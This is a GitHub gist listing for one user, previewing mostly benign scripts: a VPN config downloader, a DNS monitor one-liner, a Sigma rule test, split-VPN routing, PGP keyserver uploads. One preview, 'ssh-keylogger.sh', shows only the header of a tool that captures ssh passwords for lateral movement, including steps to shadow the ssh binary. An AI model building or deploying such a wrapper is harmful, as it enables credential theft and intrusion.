Skip to content

Instantly share code, notes, and snippets.

View deoxykev's full-sized avatar

Kevin Pham deoxykev

View GitHub Profile
@deoxykev
deoxykev / dl-protonvpn-wg-conf.js
Last active December 16, 2023 22:59
Download all wireguard configs for ProtonVPN (paste in dev console for https://account.protonvpn.com/downloads)
let DELAY_MS = 60000
function download(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:text/plain;charset=utf-8,' + encodeURIComponent(text));
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
@deoxykev
deoxykev / dnsmon.sh
Created February 22, 2022 16:58
DNS monitoring service as a bash one-liner
# dns servers, comma separated test query send email on failure email client notification addr
echo -n "1.1.1.1,1.0.0.1" | xargs -d',' -I{} sh -c 'dig +timeout=5 @{} google.com | grep -q NOERROR || echo -e "To:me@smtp.local \nSubject:{} DNS server is unresponsive\n\nAs of $(date), {} is not responding to DNS queries for google.com." | /usr/sbin/sendmail me@smtp.local'
@deoxykev
deoxykev / sigma-test.py
Created January 11, 2022 19:46
Sigma Rule Conversion Test
from sigma.processing.pipeline import ProcessingPipeline
from sigma.rule import SigmaRule
from sigma.collection import SigmaCollection
from sigma.conversion.backends import splunk
from sigma.processing.pipeline import ProcessingPipeline, ProcessingItem
from sigma.processing.transformations import FieldMappingTransformation, QueryExpressionPlaceholderTransformation
from glob import glob
from pprint import pprint
from sigma.processing.pipelines.crowdstrike import crowdstrike_splunk_pipeline
#Requires -RunAsAdministrator
# Creates split VPN tunnel using routing rules
# To find this, run: Get-NetAdapter | select InterfaceDescription
# And paste the one that corresponds to your VPN client
$VPNInterfaceDescription = "PANGP Virtual Ethernet Adapter"
# This is the subnet you want to route to the VPN; all other traffic will be through local connection
$SplitVPNSubnet = "10.2.0.0/16"
@deoxykev
deoxykev / codehelper.sh
Last active June 14, 2020 20:23
Makes doing the challenges and submitting answers for c0d3 less tedious
# c0dehelper
# Makes doing the challenges and submitting answers less tedious
# author: deoxy
########## DEPS ##############################################
# c0d3 cli
# expect
# git
# vscode
@deoxykev
deoxykev / deoxykev-pgp-pubkey.asc
Created February 2, 2020 01:50
my pgp pubkey
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQENBFup4BEBCADLuuSVjPoX/zaoaQwTQoFDAJr1tbU0IDCfNXNUStsNMdGdyNar
IPhA7SbRdI/5tiyocApCFPu/4JTIX4dG2a2JpZZnAP+kTyDkoRYZ4znGM7q5HWLl
f32KfK7iZpQ+3jmajQi+SSStJJY3+yPrFB5S8mJktvDt2vyLwGbVNwAM/kFq2v1D
AFSDUzVpropeJzJEChoxJF6bDcOx7WNlSkV/T1kdkcA5n5oV018gc0wcXu2G0Jr5
M88Xtvw/ZlTn/LSvHMlIOg1KP0iLcrVvvv4uE7Xb4asxMSlC5/jUn2SuKkcsO7V1
fX3yzS7oss6D2grmVTURkbCcqq2TxH3mil9NABEBAAG0L0tldmluIFBoYW0gKGtl
eWJhc2UuaW8vZGVveHkpIDxrZXZpbkBkZW94eS5uZXQ+iQFUBBMBCAA+AhsDBQsJ
CAcCBhUKCQgLAgQWAgMBAh4BAheAFiEErece7whVBJBd8cpiPVnFX3SQn4YFAl4y
@deoxykev
deoxykev / ssh-keylogger.sh
Created February 2, 2020 01:42
ssh keylogger
#!/bin/bash
# author: deoxykev
# version: 1.0
# logs ssh passwords to other hosts for lateral movement
# warning: needs fix for dns based '-l' option; only works for ip addresses
#
# installation:
# apt install sshpass -y
# mv ssh-keylogger.sh /tmp/ssh
# chmod +x /tmp/ssh
@deoxykev
deoxykev / gist-update-ddns.sh
Created February 2, 2020 01:40
DDNS client for namecheap with systemd init script
#!/bin/bash
# update namecheap ddns from unraid
# 2020-01-06
# systemd init script:
# [Unit]
# Description=Updates internal DDNS for meowth.kanto.blue
# After=network.target
#
@deoxykev
deoxykev / send-pgp.sh
Created February 2, 2020 01:29
send pgp pubkey to various keyservers
#!/usr/bin/env bash
# this script sends your pgp key to several keyservers
key='ADE71EEF085504905DF1CA623D59C55F74909F86'
echo '[+] sending keys.'
declare -a keyservers=('pgp.ocf.berkeley.edu' 'pgp.mit.edu' 'keyring.debian.org' 'keyserver.ubuntu.com' 'keyserver.cns.vt.edu' 'keyserver.mattrude.com' 'keys.openpgp.org' 'pgp.circl.lu' 'sks-keyservers.net' 'pgp.key-server.io' 'pgpkeys.urown.net')
for keyserver in "${keyservers[@]}"; do
gpg --keyserver "$keyserver" --send-keys $key
done

Keybase proof

I hereby claim:

  • I am deoxykev on github.
  • I am deoxy (https://keybase.io/deoxy) on keybase.
  • I have a public key whose fingerprint is ADE7 1EEF 0855 0490 5DF1 CA62 3D59 C55F 7490 9F86

To claim this, I am signing this object: